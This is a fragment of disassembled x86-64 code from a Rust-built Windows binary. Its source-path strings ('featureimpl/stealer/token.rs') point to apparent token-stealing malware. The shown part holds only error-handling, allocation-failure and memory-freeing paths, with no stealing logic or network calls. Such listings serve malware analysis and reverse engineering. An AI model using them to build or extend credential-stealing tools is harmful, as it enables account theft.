lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h1cced9c0c53a0db9
lea r8, [rsp + 0xbd0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov qword [rsp + 0x15d0], rbx
lea rax, str.hello_src_featureimpl_stealer_token.rs
jmp 0x14006e97b
mov qword [rsp + 0x15d0], rdx
lea rax, str.hello_src_featureimpl_stealer_token.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140467a8e]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h1cced9c0c53a0db9
lea r8, [rsp + 0x15d0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov qword [rsp + 0xd0], 0
lea rcx, [rsp + 0x5b8]
lea rdx, [rsp + 0xd0]
call sym.core::panicking::assert_failed::hcb93a219aec44be7
lea rax, str._rustc_3f5fd8dd41153bc5fdca9427e9e05be2c767ba23library_alloc_src_sync.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140467a8e]
lea r9, [0x1403d4260]
lea r8, [rsp + 0x15d0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
lea rax, str.library_alloc_src_sync.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140467a8e]
lea r9, [0x1403a20a0]
lea r8, [rsp + 0x15d0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov qword [rsp + 0xd0], r14
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rdi
lea rax, str.hello_src_featureimpl_stealer_token.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140467a8e]
lea r9, sym.core::ptr::drop_in_place_regex::error::Error_::h05ff89ca3d6dc719
lea r8, [rsp + 0xd0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov ecx, 1
mov edx, 3
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 8
mov rdx, rdi
call sym.alloc::alloc::handle_alloc_error::h033f15fcf3b32b44
movzx eax, byte [0x1404a5170]
mov edx, 8
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
jne 0x14006eb93
mov ecx, 8
mov edx, 8
call sym.alloc::alloc::handle_alloc_error::h033f15fcf3b32b44
mov rax, qword [rsp + 0x1250]
mov qword [rsp + 0xe0], rax
movups xmm0, xmmword [rsp + 0x1240]
movaps xmmword [rsp + 0xd0], xmm0
lea rax, str.hello_src_featureimpl_stealer_token.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140467a8e]
lea r9, fcn.1400b83c0
lea r8, [rsp + 0xd0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov rax, qword [rsp + 0x1250]
mov qword [rsp + 0xe0], rax
movups xmm0, xmmword [rsp + 0x1240]
movaps xmmword [rsp + 0xd0], xmm0
lea rax, str.hello_src_featureimpl_stealer_token.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_get_ptr
lea r9, fcn.1400b83c0
lea r8, [rsp + 0xd0]
mov edx, 0x11
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xd0], rax
lea rax, str.hello_src_featureimpl_stealer_token.rs
jmp 0x14006eb6e
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xd0], rax
lea rax, str.hello_src_featureimpl_stealer_token.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140467a8e]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h1cced9c0c53a0db9
lea r8, [rsp + 0xd0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov qword [rax], rsi
lea rcx, sym.core::ptr::drop_in_place_std::io::error::Error_::h1cced9c0c53a0db9
movq xmm0, rcx
movq xmm6, rax
punpcklqdq xmm6, xmm0
movdqa xmmword [rsp + 0xd0], xmm6
lea rax, str.hello_src_featureimpl_stealer_token.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140467a8e]
lea r9, sym.core::ptr::drop_in_place_alloc::boxed::Box_dyn_core::error::Error__::hfabdba0cd101e58f
lea r8, [rsp + 0xd0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
cmp qword [rsp + 0xf90], 0
je 0x14006ecbf
mov r8, qword [rsp + 0xf98]
jmp 0x14006ecb1
cmp qword [rsp + 0xf90], 0
je 0x14006ed43
mov r8, qword [rsp + 0xf98]
jmp 0x14006ed35
mov ecx, 8
mov edx, 0x60
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov eax, 1
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x850], rbx
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x850]
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov eax, 1
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x88]
mov rdx, r12
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.125_src_read.rs
mov rdx, r12
call sym.core::slice::index::slice_end_index_len_fail::h829dac2b01cd87d1
cmp qword [rsp + 0xb50], 0
je 0x14006ec9e
mov r8, qword [rsp + 0xb58]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsp + 0x580], 0
je 0x14006ecbf
mov r8, qword [rsp + 0x588]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov rsi, qword [rsp + 0x910]
test rsi, rsi
je 0x14006ed50
mov rdi, qword [rsp + 0x908]
add rdi, 8
jmp 0x14006ece7
add rdi, 0x18
dec rsi
je 0x14006ed50
cmp qword [rdi - 8], 0
je 0x14006ecde
mov r8, qword [rdi]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
jmp 0x14006ecde
cmp qword [rsp + 0xb50], 0
je 0x14006ed22
mov r8, qword [rsp + 0xb58]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsp + 0x580], 0
je 0x14006ed43
mov r8, qword [rsp + 0x588]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov rsi, qword [rsp + 0x910]
test rsi, rsi
jne 0x14006edbe
cmp qword [rsp + 0x900], 0
je 0x14006ed71
mov r8, qword [rsp + 0x908]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsp + 0x918], 0
je 0x14006ed92
mov r8, qword [rsp + 0x920]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1404682c0]
mov qword [rsp + 0x20], rax
lea rcx, [0x140468282]
lea r9, [0x1403d42b0]
lea r8, [rsp + 0x15d0]
mov edx, 0x37
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov rdi, qword [rsp + 0x908]
add rdi, 8
jmp 0x14006edd9
add rdi, 0x18
dec rsi
je 0x14006ed50
cmp qword [rdi - 8], 0
je 0x14006edcc
mov r8, qword [rdi]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
jmp 0x14006edcc